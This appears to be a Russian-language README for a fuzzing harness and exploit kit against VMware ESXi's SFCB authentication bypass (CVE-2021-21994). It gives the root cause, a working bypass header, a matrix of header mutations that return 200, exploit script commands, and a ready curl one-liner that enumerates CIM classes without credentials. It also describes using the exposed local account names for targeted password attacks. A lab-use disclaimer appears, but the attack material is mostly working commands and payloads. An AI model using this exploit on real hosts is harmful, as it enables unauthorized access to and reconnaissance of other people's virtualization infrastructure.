
Проверяет и эксплуатирует обход аутентификации VMware ESXi SFCB (CVE-2021-21994) с помощью проб/фаззинг-харнеса, обеспечивающего неаутентифицированное перечисление CIM-XML.
| Field | Value |
|---|
| Type | CWE-287 Improper Authentication (обход аутентификации) |
| Component | SFCB (Small Footprint CIM Broker) в составе VMware ESXi |
| Attack vector | Сеть, TCP 5989 (CIM-XML по HTTPS), «специально сформированный запрос» |
| Affected | ESXi 6.5 / 6.7 / 7.0 до VMSA-2021-0014 (июль 2021) |
| Fix | сборки с патчем VMSA-2021-0014 |
| Public PoC | Отсутствует. VMware так и не раскрыла формат запроса |
Ссылки: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
Поскольку PoC не существует, этот набор — инструмент для самостоятельного поиска: sfcb_probe.py
проверяет оракул (check), затем применяет целевой словарь мутаций к
/cimom (fuzz) и помечает любой ответ 200 с телом CIM, полученный без
действительных учётных данных.
Используйте только против собственной лабораторной ВМ или целей, явно входящих в авторизованный объём работ.
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
Обход найден. Корневая причина: sfcbd пропускает (OPEN), когда токен
Basic-аутентификации не декодируется в пару user:password, содержащую :.
Минимальный заголовок PoC (base64 от root, без двоеточия):
Authorization: Basic cm9vdA==
Матрица результатов фаззинга:
| Форма запроса | Статус | Значение |
|---|---|---|
нет заголовка / валидный b64 user:pass / : / root: | 401 | есть двоеточие → аутентификация выполняется → отклонено |
b64("root") (без двоеточия) | 200 + тело CIM | нет двоеточия → аутентификация пропущена |
b64("\0:\0") (пустая C-строка) | 200 | то же: нет двоеточия |
невалидный base64 (пробел / BOM / префикс Basic) | 200 | ошибка декодирования → аутентификация пропущена |
Basic\tTOKEN (разделитель табуляция) | 401 | разбиение по любому WSP работает → аутентификация выполняется |
Basic␣␣TOKEN (двойной пробел) | 200 | разбиение по одному пробелу → токен начинается с пробела → декодирование не удаётся |
Ответ 200 содержит конверт CIM-XML, обработанный внутри CIMOM
(например, ERROR CODE="5" Class not found), что доказывает прохождение
HTTP-слоя аутентификации — идентичный запрос без повреждённого заголовка
возвращает 401.
Использование эксплойта:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
Однострочный curl для скриншотов в отчёте:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
Воздействие: неаутентифицированный доступ на чтение к CIM-брокеру:
VMware_Identity раскрывают все локальные
учётные записи ESXi (наблюдалось в лабораторной 6.5: root, dcui, vpxuser — хост
под управлением vCenter — плюс пользовательские), что позволяет проводить целевые атаки на пароли.VMware_RoleBasedAuthorizationService,
CIM_PrivilegeManagementService) объявляют методы профилей DMTF
(AssignRoles, AssignAccess, ...), но не предоставляют ни одного экземпляра —
методы существуют только в схеме. Создание/изменение учётных записей через CIM с помощью
этой CVE невозможно; максимальный эффект — неаутентифицированное раскрытие информации.Вердикты:
BYPASS-STRONG — HTTP 200 + тело CIM-XML без действительных учётных данных → вы
нашли обход; сохранённый запрос — ваш примитив эксплойта.bypass-weak(200-no-cim-body) — 200, но нет тела CIM; изучите дамп.blocked / info(400) — отклонено. Примечание: 400 обычно означает, что запрос
был отклонён до проверки аутентификации — это всё ещё интересно, просто не обход.Примечание о самостоятельно собранных телах CIM: согласно DSP0200, EnumerateInstanceNames
требует IPARAMVALUE ClassName. Тело без него может быть отклонено по причинам,
не связанным с аутентификацией, и испортить оракул — инструмент всегда отправляет
корректное по спецификации тело.
Фаззер покрывает классические формы путаницы в HTTP-парсере аутентификации. Если ни одна не сработала, остаётся (и это окончательный путь) бинарное диффинг-сравнение:
esx-base для уязвимой сборки (например, класса 6.5.0 GA) и
сборку 6.5/6.7/7.0 с патчем VMSA-2021-0014 из публичного индекса репозитория VMware:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar → полезная нагрузка vib → cpio), сравните
бинарники sfcbd* с помощью Ghidra + BinDiff.sfcb на SourceForge) — полезный
структурный ориентир для кода HTTP+auth, хотя форк ESXi модифицирован.